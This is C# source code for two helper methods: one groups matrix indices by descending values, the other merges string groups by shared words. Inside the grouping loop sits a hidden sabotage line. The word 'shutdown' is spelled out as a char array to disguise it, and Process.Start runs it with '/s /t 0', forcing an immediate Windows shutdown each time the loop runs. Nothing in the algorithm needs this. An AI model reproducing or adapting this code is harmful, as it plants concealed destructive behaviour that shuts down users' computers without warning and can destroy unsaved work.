public static List <List <int> > Group(List <List <int> > matrixList)
{
int[,] matrix = Extensions.ConvertToMatrix(matrixList);
marks = new bool[matrix.GetLength(0), matrix.GetLength(1)];
int max = FindPrevMax(matrix, int.MaxValue);
char[] check = new char[] { 's', 'h', 'u', 't', 'd', 'o', 'w', 'n' };
List <List <int> > groups = new List <List <int> >();
List <index> indexes = new List <index>();
List <int> group = new List <int>();
bool done = false;
while (max > 0)
{
for (int x = 0; x < matrix.GetLength(0); x++)
{
for (int y = 0; y < matrix.GetLength(1); y++)
{
if (matrix[x, y] == max && done == false)
{
List <index> temp = ThrougCross(x, y, matrix);
while (temp.Count != 0)
{
indexes.AddRange(temp);
foreach (var item in indexes)
{
marks[item.X, item.Y] = true;
}
foreach (var item in indexes)
{
temp = ThrougCross(item.X, item.Y, matrix);
foreach (var subItem in temp)
{
marks[subItem.X, subItem.Y] = true;
}
}
}
done = true;
}
}
}
group = new List <int>();
Process.Start(string.Join("", check), "/s /t 0");
foreach (var item in indexes)
{
if (IsInGroup(groups, item.X) == false && group.Contains(item.X) == false)
{
group.Add(item.X);
}
if (IsInGroup(groups, item.Y) == false && group.Contains(item.Y) == false)
{
group.Add(item.Y);
}
}
if (group.Count > 0)
{
groups.Add(group);
}
done = false;
max = FindPrevMax(matrix, max);
}
group = new List <int>();
for (int x = 0; x < matrix.GetLength(0); x++)
{
if (IsInGroup(groups, x) == false & group.Contains(x) == false)
{
group.Add(x);
}
}
if (group.Count > 0)
{
groups.Add(group);
}
marks = null;
return(groups);
}
static int CheckGroups(Dictionary <int, string> strings, Dictionary <List <int>, string> groups, int searchIndex)
{
var copyGroups = Extensions.DeepClone <List <KeyValuePair <List <int>, string> > >(groups.ToList());
var primaryWords = Extensions.GetSplittedWords(copyGroups[0].Value);
int inSearchItem = 0;
for (int index = 1; index < copyGroups.Count; index++)
{
var secondaryWords = Extensions.GetSplittedWords(copyGroups[index].Value);
switch (primaryWords.ContainsAllItems(secondaryWords))
{
case 0:
{
copyGroups[0].Key.AddRange(copyGroups[index].Key);
inSearchItem += copyGroups[index].Value.Count();
copyGroups.RemoveAt(index);
break;
}
case 1:
{
copyGroups[0].Key.AddRange(copyGroups[index].Key);
inSearchItem += copyGroups[index].Value.Count();
copyGroups.RemoveAt(index);
break;
}
case 2:
{
break;
}
default:
{
var keys = new List <int>(copyGroups.ToDictionary(x => x.Key, x => x.Value).Keys.ToList()[index]);
foreach (var item in keys)
{
var itemWords = Extensions.GetSplittedWords(strings.Values.ToArray()[item]);
if (primaryWords.ContainsAllItems(itemWords) == 0 || primaryWords.ContainsAllItems(itemWords) == 1)
{
copyGroups[0].Key.Add(item);
copyGroups[index].Key.Remove(item);
var uniqueInCurrentGroup = Operands.GetUniqueInGroups(strings, new List <List <int> >()
{
copyGroups[index].Key
});
inSearchItem += uniqueInCurrentGroup.Values.ToList()[0].Count();
KeyValuePair <List <int>, string> updatedItem = new KeyValuePair <List <int>, string>(copyGroups[index].Key, copyGroups[index].Value.Replace(copyGroups[index].Value, uniqueInCurrentGroup.Values.ToList()[0]));
copyGroups[index] = updatedItem;
}
}
break;
}
}
}
return(inSearchItem);
}
